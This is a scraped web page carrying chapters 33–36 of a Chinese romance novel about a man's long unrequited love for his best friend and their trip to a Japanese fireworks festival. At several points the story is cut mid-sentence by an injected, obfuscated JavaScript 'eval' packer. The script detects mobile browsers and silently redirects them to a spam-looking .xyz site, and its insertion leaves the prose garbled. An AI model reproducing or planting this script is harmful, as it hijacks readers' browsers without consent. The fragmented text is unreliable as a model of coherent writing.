“谁舍不得你了。”杨嘉树傲娇,“我是担心飞机半路出事故……呸呸呸,乌鸦嘴,取消这句话!反正你又不上班,着急回去干什么。” “还真有事。”顾琢成摊手,“开合伙人会。” “呀!”杨嘉树惊呼,“公司终于要开起来了?不容易啊,这都多久了……那确实该回去,你的车是不是到了?” “嗯。”顾琢成点点头,“那我走了,回北京见。” “好。” 顾琢成站着不动,忽然间俯下身,很轻地抱了一下杨嘉树:“辛苦了。” “……”杨嘉树被这突如其来的动作给搞懵了,“谢谢……额,还好,我不辛苦啊。” 顾琢成笑了笑,挥手告别:“走了,再见。” “再见。” ……搞得这么有仪式感。 杨嘉树也忙着去工作,同事的车就跟在顾琢成的车后面,两人说完再见后,就此分别了。 杨嘉树坐在车里,回想这些年来和顾琢成的种种,作为朋友,他俩能保持数年如一日的亲密,其实很不容易,作为一个已经见过些许世面的成年人,他知道世界上大多数朋友是这样: 在人生之路的某个起点相遇,立下此生携手并进的誓言,然后被生活的洪波推着,进入各自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那回去再约。你到机场了吗?” “嗯,等着过安检呢,机场人巨多。” …… 一直聊到顾琢成登机,聊到下一次见面吃什么,二人才结束对话。 一个星期后,杨嘉树也回了B市,刚到家的那天,他发现了一个噩耗——那颗金钱橘死了,死得特别惨,整个树根都黑了,散发出浓浓的腐臭味。杨嘉树当即拍了橘子树的尸体照给顾琢成,谴责道:“是不是你上次浇太多水了?把它给浇死了!” 顾琢成说:“跟我有什么关系。/发呆。我上次去它还是活的,我没有浇很多水,只浇了一点点,不信你去看监控。” “奇了怪了,难道是温度太低了?”今年的温度的确是比往年冷。可是……就算是冻死的,也不至于这么臭吧。杨嘉树想不明白了。 “有可能。” 杨嘉树搜了一会儿金钱橘腐烂的原因,截图给顾琢成:“就是你干的!浇水浇太多才会烂根,当时应该拔出来给它换个盆的,是你的抢救方式错了。” “那怎么办,死都死了。” “凉拌吧!” “对不起。我再给你买一盆吧。” “算了算了,这东西特别难养,我放弃了。” 顾琢成非要送盆新的给他,说正好快过年了,当年宵花放在客厅里,金灿灿的小橘子看上特别喜庆。 杨嘉树简直哭笑不得,最后也想通了,可能这就是上天给他俩的祝福吧,祝福他俩的友情千岁万岁……坚不可摧。 ——其实后来也没送成,顾琢成工作太忙,把这事给忘了,杨嘉树也没提醒他,此事就不了了之了。 那么,这份看上去坚固的友情,真的就全然都是幸福的吗? 不,在更多时候,杨嘉树想摆脱它,摧毁它,想撕开它虚伪的面具,露出那扭曲、丑陋、血肉模糊的真实面目。 33.第 33 章 有的时候,杨嘉树会问自己,爱情是什么?他最初体会到的爱情,是不能控制的心动,是时时刻刻的牵挂,是一分钟要拆成六十秒的想念,是只要想到他就会开心,见到他开心就会乘以100倍,是一颗心寄生在他身上、只要一点微笑就能作为生存一天的养分的——纯粹而又热烈的喜欢。 这是他的初恋。 虽然,是单恋。 要悄无声息地单恋一个人而不被他发现,需要一定的技巧。而杨嘉树早已对此驾轻就熟,只要——借着友情的名义,想你了,因为我们是好朋友;见一面吧,因为我们是好朋友;凌晨三点的骚扰,因为我睡不着,而好朋友有义务解决彼此的烦恼;除此之外,关心,求关心,撒娇,吵架,吵架之后贴心地递台阶—— 发现没有,其实这些本来也都是情侣之间会做的事,有些情侣爱到最后,朋友走到最后,爱情/友情是无限趋近于友情/爱情的。 ——假如有人这么跟你说,那多半是自欺欺人。 爱情和友情最大的区别,在于你是否会对他产生欲望。最开始,是想拉拉他的手,亲亲他的脸,幻想拥抱是什么感受,然后,开始幻想他的身体,即使走在人来人往的大街上,脑海里也会一闪而过你俩裸裎相对的画面,更不要说那些静谧无声的夜晚。 杨嘉树记得最开始对顾琢成产生那种想象,是在他俩的“毕业旅行”上。 当时杨嘉树的爸爸在马来西亚出差,妈妈弟弟在英国过年,顾琢成盛情邀请他去东北玩,于是他俩在一起单独待了两个星期。 关于那段旅行,杨嘉树直到十年后都还印象深刻,那时东北的旅游业还不是特别红火,很多景点人都不多,不用排队就可以玩得特别爽。那是杨嘉树人生中最快乐的时光之一,他去了传说中的雪乡,滑雪、坐雪地摩托,欣赏夕阳照拂下的粉雪世界,徒步穿过林海雪原,投喂野生的傻狍子、狐狸,体验东北农村的火炕文化……晚上他和顾琢成睡在一起,刚一上炕就体验到一种火烧般的灼热,他浑身不舒服,在被窝里翻来覆去。 顾琢成问他:“你怎么了?” 他俩睡两个被窝,杨嘉树感觉自己简直是睡着烙铁上,被子一盖就更明显了,床板硬邦邦,烧热的铁一样烙着他的背,烫得他的生疼,只能通过不停转身来驱散那股热。 “……好热。”杨嘉树说,出了一脑门的热汗。 顾琢成下床,开灯,掀开杨嘉树的被窝往里探了探,“还好啊。你睡着热?” “嗯。”杨嘉树说,忍不住把被子掀了,爬起来,“能不能再垫个软点的床垫?床板好硬,硌得我背疼。” 顾琢成“噗嗤”一声,笑了,“你豌豆公主啊?是不是没睡过东北的炕头,不习惯?” 何止是不习惯,简直就是受罪,杨嘉树背过身,自己把自己的秋衣掀起来,问顾琢成:“你看,我背是不是都烫红了。” 顾琢成都不用凑近,就看到杨嘉树后背红彤彤的一片,好像白虾被丢进沸水里似的,马上就要熟了,他不敢怠慢,马上说,“我去喊老板过来,把炕弄凉点。”然后就披上衣服开门走了。 杨嘉树坐在炕边上,等了一会儿,听见一阵脚步声由远及近,老板的大嗓门低低地响起来:“哪里会热?我们不觉得热,都这样睡了好几十年了……你们南方人娇贵……” 杨嘉树在心里嘀咕:“就是因为你们睡习惯了,才不觉得热,我都要热死了……这跟娇贵有什么关系。” 过了一会儿,顾琢成回来了:“好了,睡吧,这下应该不热了。” 杨嘉树爬进被窝,确实不热了……但是,又有点冷。他裹紧被子,恨不得紧紧贴在温热的床板上……不是,是不是老板降温降过火了啊,怎么那么冷!才一会儿的功夫,杨嘉树就冻得瑟瑟发抖,院子里还有人在聊天,叽叽咕咕的,好像是在商量去哪里玩……寒冷顺着声音从耳朵里爬进来,杨嘉树狠狠打了个哆嗦,后悔刚刚让老板把炕弄凉了,他怀念热的炕,烫一点也没关系,现在后悔还来得及吗? 也许是动静太大,吵到顾琢成了,他坐起来,关心地问杨嘉树:“你怎么了?怎么一直在翻身,还是很热吗?” 杨嘉树支支吾吾的,觉得不好意思:“不热……我觉得冷,怎么办?” 顾琢成起来,拉开灯,杨嘉树让忽然亮起的灯晃了一下眼睛,眯起眼睛躲了一下。 “那怎么办?”顾琢成说,“要不再叫老板过来加点火?” “不要吧,我怕他等下打我。”杨嘉树说,害怕地缩了缩脖子。 顾琢成让他被逗笑了,走过来撸了一把他的头发,“小样儿,嘴太快了吧。我都跟你说了炕很热,忍忍就好了。这样,咱俩睡一个被窝吧,挤挤就不冷了。” “啊?”杨嘉树猝不及防,吓了一跳,“睡一个被窝?” “嗯。”顾琢成单方面就做了这个决定,直接走过去把杨嘉树的被子没收了,卷了几圈放在旁边,然后让杨嘉树钻进他刚刚躺过的被窝里。 杨嘉树磨磨蹭蹭的,跟个蚕蛹似的蛄蛹进被窝,眨巴着眼睛看顾琢成。 顾琢成关了灯,也躺进来,“怎么样,是不是不冷了。” “……嗯。”杨嘉树跟具尸体似的直挺挺躺在被窝里,一动也不敢动。 “睡吧。” 一分钟后,顾琢成睡着了。 杨嘉树感觉身体在以一种很迅疾的速度升温,直到跟刚刚烙铁一样的温度不相上下。他们都带了睡衣,顾琢成的那件稍微厚点,似乎是磨毛的,而杨嘉树的是丝质,材质光滑……他感觉薄薄的布料贴在身上,好像燃烧的塑料一样,烫得他浑身疼。 简直是折磨,杨嘉树大气也不敢出,然而等他煎熬了一段时间,忽然意识到顾琢成已经睡着了……那还这么小心干什么。杨嘉树长长地呼了一口气,然后又紧急呼进一些氧气,拯救自己濒临缺氧的肺—— 顾琢成没醒,他睡得很熟。 这段时间他们住酒店,订的都是双床房,各睡各的倒也没让杨嘉树产生些什么奇怪的联想……可是今天不一样了,他们可是躺在同一个被窝。杨嘉树悄悄翻转过身,借着窗外洒进来的月光,欣赏顾琢成的侧脸。他睡觉很老实,不打呼、不磨牙,也不会乱动,规矩得好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539927|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一个久经训练的睡眠将军。 杨嘉树像个虎视眈眈的敌人一样,觊觎着“将军”英俊的脸庞。不得不说,顾琢成帅得很高调,总有些路过的男男女女盯着顾琢成的脸看,每当这时候杨嘉树的心里就有点小骄傲,怎么样,我看上的人,帅吧。可同时,内心又止不住地嫉妒,嫉妒每一个用欣赏的眼光看着顾琢成的人——乃至于迁怒,迁怒顾琢成大方地将自己的美展出,就不能低调一点吗,例如,戴着口罩之类的。 其实归根结底,杨嘉树只是遗憾不能将“顾琢成”这个人据为己有而已。 但是,思想是自由的。杨嘉树开始幻想他占有顾琢成的那一幕,渐渐地,呼吸开始粗重,身体更加灼热……杨嘉树像着了魔一样,伸出手摸了摸顾琢成的鼻梁,然后是嘴唇,温热,干燥,杨嘉树重重地喘了一下,然后整个人犹如雷劈一样,瞬间清醒了。爬起来,逃也似地冲进了卫生间。 从这之后,他就控制不住地幻想顾琢成的身体,在一起的时候,他总是忍不住碰一碰顾琢成,哪里都好,肩膀、手臂、指尖……超出“朋友”界限外的碰触,他会留给黑暗中的自己。 所以他对顾琢成有一种负罪感,在他们毕业之后,顾琢成曾经提出来过要不要一起租房子,杨嘉树拒绝了,在同一个屋檐下,他不能保证自己将来不会做什么出格的事,尤其是喝醉酒之后,他的酒量不怎么样,万一喝醉后表白,或者非礼顾琢成怎么办?被当成变态就不好了(虽然他本来就是一个变态,对自己的兄弟有那种想法)。 他拒绝之后,顾琢成也没有再坚持,这让杨嘉树挺郁闷的,肠子都悔青了… 其实说到底,欲望是情感的延伸,爱一个人,当然会想拥有他的身体——可是,这种爱不是相互的,对顾琢成来说,他们是友情,友情的“欲”可以有成千上万种,吃醋,嫉妒,占有……就是不该有X欲。 这点杨嘉树很清楚,所以大多数时候他都在跟自己的欲望做斗争,克制爱情的欲,放纵友情的欲,那些能打着朋友旗号做的,就大张旗鼓,而那些借着朋友名义也不能做的……关于爱情的,就深藏在心底,就像一座在海面上冒了一个尖的冰山,看得见的部分叫友情,看不见的……就叫爱情。 大概在他们工作后的第三年,顾琢成身边忽然出现了一个女生,起初杨嘉树并没有将她当成一回事,可是每次通电话、见面之后顾琢成嘴里都带着那个名字——程雨微,杨嘉树感觉不对劲了,尽量若无其事地问顾琢成:“你是不是喜欢她啊?” 顾琢成脸上的表情有一瞬间的茫然,似乎他自己也搞不明白这个问题似的,杨嘉树的心里“咯噔”一下,有一艘巨船撞上了他心中的冰川。 他以为他跟顾琢成会一直这样下去,以好朋友的名义陪伴彼此,毕竟顾琢成是个工作狂,没有那种世俗的欲望,他以为他能在这种慢性凌迟中痛到放弃,或者出现另一个人将他拯救,使这段友情回归到它本来的位置。 可惜并没有,爱情之所以是爱情,是因为它是自由意志的沉沦、是明知不可为而为之的任性……爱情就是爱情,胆小鬼才把它叫成“友情”。 34.第 34 章 程雨薇,英文名叫Vivian,海归博士,算法领域的大拿,尽管顾琢成一再强调“我们只是同事”、“我对她没有意思”这样类似撇清关系的话,杨嘉树还是觉得很怀疑。 首先,Vivian很漂亮,顾琢成在朋友圈发了一张团建的照片,杨嘉树一眼就在人群中看见Vivian,瓜子脸,眼睛很大,穿着一身粉色的运动服,既元气又大方,笑起来唇边有两颗梨涡。 杨嘉树酸溜溜地说:“都是男人,我还不了解你?喜欢就说喜欢,干嘛要假装矜持。” 周末,他俩好不容易见一面,约着去球馆打球,打完两轮转战去一楼喝冰茶,休息,顾琢成听见杨嘉树一直在提Vivian,从刚见面就开始提,见缝插针地提,终于忍不住说:“你老提她干嘛?说了我跟她没关系。” “没关系还靠那么近呢,都快抱在一起了。”杨嘉树说,但是说到一半就意识到自己有点太酸了,似乎下一秒就暴露了,所以故意笑嘻嘻地调侃顾琢成,“你现在还没谈过恋爱吧?多好的机会啊,你主动点,你俩就有故事了。” 顾琢成静了几秒钟,重复道:“我说了,我对她不感兴趣。” 杨嘉树才不相信,或者说他不相信男人,嘴上说不喜欢,实际上都快要爱死了吧。他叼住吸管,吸了一口柠檬茶,柠檬放的时间有点久了,奇酸,酸意顺着牙缝钻进去,有点像在给坏掉的牙齿做根管治疗,巨难受,但逃不掉。他咧开嘴,故作轻松地说:“有好消息了告诉我,我请你们吃饭。” 顾琢成低下头喝茶,没说话。 回去的路上,杨嘉树感到特别沮丧,连老天爷都看不下去他的“大度”,下了一场雷阵雨。杨嘉树打开收音机,让广播里的音乐声盖过噼里啪啦的雷雨声,一曲结束,到下一曲,杨宗纬撕心裂肺地唱:“如果你愿意一层一层一层地剥开我的心……” 杨嘉树换了个调频,还是音乐节目,这次是陈奕迅:“谁都只得那双手,靠拥抱亦难为你拥有……” 前面堵车,似乎什么都在跟他作对。 杨嘉树猛按了几下喇叭,无济于事,依旧堵,他没脾气了,把车熄火,盯着窗外的暴雨发呆。 ——又是这种熟悉的感觉。熟悉到好像是一个久别重逢的老友,竟然让他感觉到亲切。 从大学时代开始,顾琢成的桃花运就很旺,喜欢他、对他表白的人不计其数,有男有女有老又少——虽然他自述是烂桃花,可桃花多了,组成一片桃林,总有一朵是爱神赐予的正桃花。杨嘉树不是没有想象过这种情况,爱的最高境界,是成全他的幸福,没准等顾琢成真找到相携一生的爱人,他也就放下了—— 现在真到了这一天了。有个漂亮的女孩子出现在他的身边,他们不论是外形、履历还是三观喜好,都那么般配。 “轰隆”一声,窗外响起一声闷雷,打在杨嘉树的心上。他觉得自己没办法昧着良心祝顾琢成幸福,他更希望顾琢成孤独终老,他喜欢的人不喜欢他,缘分一直错过,愚钝到不明白什么是“爱情”。只要他不懂爱,那么就不会执着于跟一个人白头偕老、相伴终身,甚至觉得这些朋友也都能做到—— 既然朋友能做到,要爱人干什么呢? 后车在疯狂按喇叭,杨嘉树恍惚回神,跟着车流向前移动。 他有的时候真的挺讨厌自己的,他觉得自己才是造成这一切的源头,不过是胆小懦弱,贪心无度,既想要得到爱情,又不想失去友情。于是自我折磨,自我厌弃,渐渐在健康的灵魂之外产生了一个病态丑陋的灵魂。 每当被病态的灵魂占据身体之后,杨嘉树就彷佛变成了另一个人,这个杨嘉树浸泡在一池污水之中,这些污水由他的情绪废料佐以卑怯的眼泪而成,嫉妒、怨恨、不甘、恐惧……然后演变成一种深切的孤独。 杨嘉树有想过放弃,想过不顾一切地表白,甚至采用卑鄙的手段得到顾琢成,然后要求他负责……但最终都败给“失去”这两个字。 杨嘉树无法想象失去顾琢成的后果,那也是一种孤独,可那种完全空白的孤独和被黑暗填满的孤独,他毫不犹豫地选择后者。 程雨薇的事情最后不了了之,她被猎头挖去了上游的对家,顾琢成跟她再也没有联系。 杨嘉树当然是松了一口气,但这种类似的事件当然不会只发生一次,而第二次、第三次……或者第N次之后,杨嘉树已经能很好地伪装自己,他表现出全然的支持,真诚的祝福,当然,也不失好朋友即将抛弃自己抢先收获幸福的失落。 有的时候,他也会掩盖自己真实的性取向,用各种小细节暗示顾琢成:我跟你一样是直的。比方说,他会假装不经意跟顾琢成说:“单位来了个实习生,挺漂亮的。” 顾琢成打个问号给他:“你也太花心了吧,前两天才说喜欢女同事,今天就有更喜欢的了?” 杨嘉树大言不惭:“是啊,男人嘛,都是见一个爱一个。” 他费尽心思给自己塑造“渣男”的形象,却一次真正的恋爱都没有谈过。 值得一提的是,他也遇见过“同类”,有的是同事,有的是浅浅打过交道的同行,也有一眼就能看出来的、举手投足间格外扭捏做作的“小0”,还有对他实施眼神性骚扰的“1”……进入社会时间久了,什么人都能遇到。杨嘉树不是没想过,找个同类接触接触,可每次都是刚起一个念头就放弃了,他觉得除了顾琢成,这辈子他很难再爱上别人了。 有一句很火的台词,叫“暗恋是一个人的兵荒马乱”。杨嘉树觉得很正确,可他有时候搞不清自己在这场战争中的“敌人”是谁,他经常把顾琢成当成敌人,每当他有点受不了的时候,就会跟顾琢成发脾气,比方说约他很久都约不出来,杨嘉树就会想:你工作有这么忙吗?你只是找借口不想见我吧。又急又气,杨嘉树就对着电话冷冷地说:“那别见了。”然后就挂了电话,把顾琢成的联系方式全部拉黑。 这种情况经常发生,全仰赖顾琢成的大度,每次都是他先低头,叫杨嘉树别生气了。而杨嘉树在这样一场又一场的“战役”中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548756|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,会得意于自己的胜利,又悔恨自己不够绝情,假如他坚持的时间够久,是不是顾琢成就会放弃,然后他们绝交,从此宣布休战——这世界上就少了一个自欺欺人的小人? 但是有时候战况也会超出杨嘉树的想象,有时候他不理顾琢成,顾琢成可能是生气了,竟然也不理他,两人就从热战变成冷战,谁也不肯先低头认输。 杨嘉树在这方面是很能坚持的,即使他已经产生一千次投降的念头,可他就是不投,因为顾琢成肯定会先投—— 创造他们最高冷战记录的那次,是顾琢成开车去杨嘉树楼下求和,一见面就举起双手,发布自己的战败宣言:“你赢了,你真能忍,忍者神龟都没你能忍。” 杨嘉树看着顾琢成“甘拜下风”的脸,心里却怎么都开心不起来。 关于友情,他很自信,必然是百战百胜;但关于爱情—— 他可以说输得一塌糊涂。 爱到极致会产生恨。这种恨起初并不强烈,但是杨嘉树忽然在某个夜晚意识到,他认识顾琢成已经快十年了。而他的爱却没有随着时间流逝减淡一点,恨就是在这个时候产生的,我那么爱你,即使再隐藏,再掩饰,可有句话是怎么说的——这世界上有两样东西无法隐藏,一是咳嗽,二是爱情。 我对你的爱那么明显,难道你一点都不曾察觉到?我时时刻刻想着你,一有空就给你发消息,好消息第一个分享给你,从来不舍得麻烦你,你的生日我永远不会忘,担心你工作太忙不好好吃饭所以天天监督你,去哪里都不忘捎回当地的特产……即使这些都可以用“友情”来解释,可我爱你的眼神呢? 真的一点都感觉不到吗。 杨嘉树开始怀疑,怀疑顾琢成是不是早就知道他对他的爱?只不过他和那些只享受爱而不回应爱的渣男一样,觉得身边有这样一个舔狗也不错,足以证明他们的魅力——可是杨嘉树马上就否认了这个猜测,陷入深深的自责当中,顾琢成不是这样的人。 真的吗? 是的吧。 他不是那么敏锐的人,很早之前你就知道了。 可是,就算是一根木头,也接受不到一座超强信号塔发出的信号吗? 不对,这个比喻不成立,木头是不导电的。 ……杨嘉树觉得自己很可能已经疯了。有时候他看着顾琢成,心底会产生一种强烈的憎恶,那张天使一样的面孔在视野里扭曲、溶解,最后变成恶魔。他以最坏的恶意去解读顾琢成,解读顾琢成对他的爱无动于衷的原因,他把顾琢成想象成一个在爱中无恶不赦的坏人,似乎这样想才能让他的心里好受一点—— 不。并没有好受,像一面镜子一样,杨嘉树从镜子里看见的不是顾琢成的坏,而是自己的卑劣。 杨嘉树很喜欢听歌,尤其是情歌,每一首歌都多多少少有点自己的影子,他承认自己是有点沉醉其中的,人在黑暗中待久了,会习惯黑暗带来的安全感,假如哪天黑暗被撕开,阳光照进来,那才是他真正慌忙逃窜、丢兵卸甲的时刻。 35.第 35 章 十年间,杨嘉树有很多次想过表白,想从黑暗的房间里走出来——临到头退缩了,就像第一次他计划跟顾琢成表白一样,全都以失败告终。 有一年,杨嘉树很幸运地抽到了去日本看烟火大会的双人游大奖,机票酒店全包,还赠送一套双人和服写真。收到短信的时候音响里的歌刚好放到《富士山下》,杨嘉树的内心有所触动,他查了查,这次烟火大会就在富士山脚下,白天可以去泡温泉,赏樱,散步,晚上坐游船看烟花。犹豫很久后,他打电话问顾琢成要不要去。 顾琢成说:“就我们俩去?” “对啊。”杨嘉树说,“你不愿意?” “这好像是情侣双人游。”顾琢成看了杨嘉树转过来的短信,说。 “我没女朋友啊,总不能浪费。” “什么时候出发?” “下个月吧,办签证也要一段时间。” “行啊。” 顾琢成竟然答应了,这让杨嘉树有点意外,不过后来他们聊天,顾琢成说他最近也挺累的,想请个假出去散散心。 杨嘉树大跌眼镜,以工作狂著称的顾琢成竟然有一天也会说累?顾琢成解释道:“自己开公司跟给别人打工是不一样的。” “哦。”他这样说,杨嘉树就理解了,那确实要费心一些。不过——他这公司刚挂牌好像才三个月,就这样出去度假,合伙人不会说什么吗? 顾琢成说:“不会,我股份比较多,我说了算。” 一个月后,他们出发了。 到酒店时是晚上十点,下着小雨,有点冷,办完入住上楼,杨嘉树一边放东西一边问顾琢成饿不饿,要不要下去吃点东西。 “我不饿,你呢,你饿的话我们就下去。”顾琢成在房间里转了转,发现一个问题,“这房间只有一张床吗?” “啊?”杨嘉树愣了愣,站起来说,“我跟主办方说了换成双床房了呀,是不是搞错了?” 还真搞错了。不过卧室那张床很大,看着像是两米二的,杨嘉树这会儿饥肠辘辘,饿得不行了,两人就商量先下去吃饭,回来的时候再找前台换房。 酒店旁边还有餐馆在开着,也有酒馆,杨嘉树东张西望的,说:“吃什么好呢。” 雨很小,近乎水雾的毛毛雨,两人就没带伞。 顾琢成指着一个蘑菇形状的小木屋,说:“要不要去吃拉面。” “不。”杨嘉树摇头,“我想吃刺身。” “你今天下午不是还说胃不舒服吗?吃点热的吧。” 杨嘉树不是很想吃热的,他偏爱生冷的食物。不过,鉴于两人住同一间房,万一真吃坏肚子就不好了,毕竟…什么的,在心上人面前好像不太雅观。 最后杨嘉树选了鳗鱼饭,鳗鱼是现烤的,又香又嫩,吃着吃着,杨嘉树发现这家的刺身好像也不错,于是又点了一份刺身拼盘,他从小就喜欢吃刺身,尤其是三文鱼,新鲜的三文鱼吃进嘴里是甜的,又甜又鲜,口感好像云朵一样绵密。 顾琢成对刺身就不太感冒,他喜欢吃熟食,吃完一份鳗鱼饭后就不动了,看着杨嘉树吃。 杨嘉树吃东西很斯文,不过在遇到喜欢吃的食物时,也会显得有点急切,就像现在,他几乎是一口一块三文鱼,芥末沾不小心多了会辣得张开嘴巴呼气,然后喝一口米酒,再继续下一块……顾琢成忽然想尝尝这里的三文鱼是什么味道,于是他夹了一块,在酱料碟里沾了沾,放进嘴里。 一般般,没想象的好吃。 杨嘉树笑眯眯地看他把三文鱼咬碎,吞进去,问:“怎么样,好吃吧。” “还行。”顾琢成说。 “要不要再点一份。”杨嘉树就要招手叫服务员过来。 “不用……”顾琢成刚说了两个字,就意识到很可能是杨嘉树自己想吃,于是舌头中途拐了个弯,说,“那好吧。” 又点了一盘,这次杨嘉树吃了两块就吃不下了,放下筷子开始擦嘴:“早知道刚刚就不吃那份鳗鱼饭了……你快吃呀,别浪费。” 顾琢成把剩下的刺身都吃完了。 结完账回酒店,雨下大了,顾琢成把衣服脱下来,举在头顶,然后让杨嘉树站在他的臂弯下面,两人像《假如爱有天意》中的男女主角一样在雨中奔跑,杨嘉树似乎听见耳边响起那首经典的BGM…… 但真实情况可狼狈多了,黑灯瞎火的,雨水又遮蔽了视线,杨嘉树一路上踩了不知道多少个水坑,回去一看,才知道膝盖以下全湿了,鞋子也没法要了。一回去就先洗澡,等杨嘉树洗完坐下来,开始吃酒店赠送的水果之后,才想起来要换房间这件事。 等顾琢成出来,他说:“还换房间不。” 两人很默契,不约而同穿了酒店的浴袍,顾琢成的头发没擦干,啪嗒啪嗒往下滴水,把浴袍领子的部分都浸湿了,“不了吧,换来换去的麻烦,都快十二点了。” “嗯。”杨嘉树开着电视,里面在播放一部很老的日剧,山口智子和木村拓哉的《悠长假期》,“那不换了,你怎么不把头发吹干?小心着凉。” 顾琢成去吹头发,杨嘉树打电话叫前台又送了一床被子上来。 等顾琢成出来,两人坐在沙发上聊了一会儿天,就各自睡去了。 第二天,顾琢成一大早就叫杨嘉树起床,去附近的湖边看天鹅,杨嘉树迷迷糊糊地,坐在床边上揉眼睛:“现在才几点啊?再睡一会儿不行吗?” 顾琢成看着手表说:“快八点了。” “那也太早了。”杨嘉树嘟囔一声,困得不行,倒头又想睡。 顾琢成眼疾手快地拉着他的手臂,硬生生把他拉到卫生间门口,“快点,别耽误时间,一日之计在于晨知不知道。” 杨嘉树有点崩溃,他跟顾琢成也就这点不太和谐了,顾琢成作息很规律,一般十一点睡觉,六点半起床,起来就先在跑步机上跑半小时,然后冲凉,简单吃个早饭,出门上班。而杨嘉树喜欢熬夜,只要休息就一定会熬到两三点,然后睡到中午一两点,下午才开始一天的活动。很多时候他跟顾琢成出门“约会”,都是他在迁就顾琢成。 没睡够,杨嘉树的怨气就挺重的,下楼吃饭的时候都拉着一张脸,顾琢成可能是感觉到他有点不爽,说:“要不你再上去睡会儿?” “那你呢。” “去看天鹅。” “……”杨嘉树服了。 顾琢成有时候还挺搞笑的,岁数越大行为就越老派,出去旅游热衷于像老年人一样去各种奇怪的地方打卡,杨嘉树都没听过这地方有什么天鹅好看……不会是野鸭子吧? 到了地方一看,也没太失望,昨天下过一场雨,今天是个晴天,顾琢成说的湖原来是个人工湖,湖里面有饲养的白天鹅,两两一对,湖边上有不少人在拍照,有两只天鹅用长脖子摆出爱心的形状的时候,周围就会响起一片惊呼声,然后就是“咔嚓”“咔嚓”按动快门的声音。 “你从哪里找到的这个湖啊?”杨嘉树好奇地问,这是个公园,离酒店有一段距离,关键是有好几个岔道,一不小心就走岔了……难道顾琢成以前来过? “我问前台哪里有公园,他画给我看的。” ……都忘了这家伙记忆力远超常人。好吧,来公园呼吸下新鲜空气也不错。 一阵风吹来,湖面闪动着细碎的光芒,杨嘉树眯起眼睛,怀疑湖底下藏了很多钻石,让阳光一照就闪闪发光。顾琢成在旁边拍照,忽然间用手机摄像头对着杨嘉树,“咔嚓”一下,杨嘉树后知后觉地反应过来,伸出手:“我看看,拍成啥样了。” 顾琢成把手机递给他:“这次没有拍得很丑。” 杨嘉树:“……”确实不丑,只是糊了而已。他要把照片删掉,顾琢成眼疾手快地把手机抢回来:“你干嘛,这不挺好看吗。” 杨嘉树:“……你开心就好。” 拍完天鹅,顾琢成又提议去湖边散散步,上午他们没安排行程,下午去参观酿酒厂,品尝本地的葡萄酒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到的时候差不多五点,人很多,大部分都是情侣,晚上八点才开始放烟花,杨嘉树就提议先去附近的小摊逛逛。逛着逛着,顾琢成忽然说:“我们不是跟团吗?团在哪里。” 杨嘉树:“额……”是跟团没错,但是跟团还有什么好玩的,跟一群不认识的人大眼瞪小眼吗。所以除了往返机票,其他都是他自己安排的,包括酒店、和服体验、花火大会入场券……杨嘉树心虚地擦了把汗,说:“两人成团啊,就我们俩。” “哦。”顾琢成竟然信了。 杨嘉树端着刚刚在集市上买的刨冰,偷瞄了一眼顾琢成。 顾琢成:“?” 杨嘉树清清嗓子,一本正经地说:“你有没有发现一个问题。” “什么问题?” “来这里的好像大部分都是情侣。” 顾琢成扫了一眼熙熙攘攘的人群,说:“也有家庭。” “嗯……”刚说着,就有个小孩子跌跌撞撞跑过来,撞了一下杨嘉树,杨嘉树手里还端着刨冰,脚上穿着木屐,躲避不及,就往旁边倒去……刚好倒在顾琢成的身上。 顾琢成揽着他的腰,一开始是单手捞,然后另一只手也参与其中,把他抱到马路边上人少的地方,低声说:“小心点。” 杨嘉树呆了呆,然后低头挖刨冰,“哦……”这时有几个和服美女路过,杨嘉树觉得她们好像在看自己,所以就看了回去,直到走出老远还时不时回头。 顾琢成就说:“你喜欢这种的?”有点调侃的意思。 杨嘉树呵呵笑了两声,反问:“你不觉得她们很可爱吗。” 顾琢成沉默了几秒钟,说:“是挺可爱的。” 杨嘉树把吃了几口的刨冰扔了,又去买苹果糖,顾琢成表示不介意,他可以把剩下的刨冰吃掉,杨嘉树充耳不闻,把刨冰倒进塑料袋里,拎着就走了。 顾琢成:“……” 36.第 36 章 渐渐地,天黑了,杨嘉树生了一会儿闷气,被捞金鱼的游戏吸引了,一个摊子旁边围了很多人,大部分都是女生捞,男朋友在旁边加油助威,手上挎着女朋友的小包。轮到杨嘉树,他把手里啃了两口的苹果糖塞给顾琢成,专心致志地捞金鱼,最后捞到五条,摊主说可以带回去,杨嘉树摆手拒绝,把金鱼放回池子里就走了。 这边都是可以互动的摊子,除了捞金鱼,还有捞水球的游戏,不过玩的都是小孩子。人太多了,没走一会儿就满头大汗,杨嘉树想着赶紧去买好的位置等着看烟花算了,但是见顾琢成好像对射击游戏感兴趣,就给他买了五十发子弹,站在旁边等他打完。 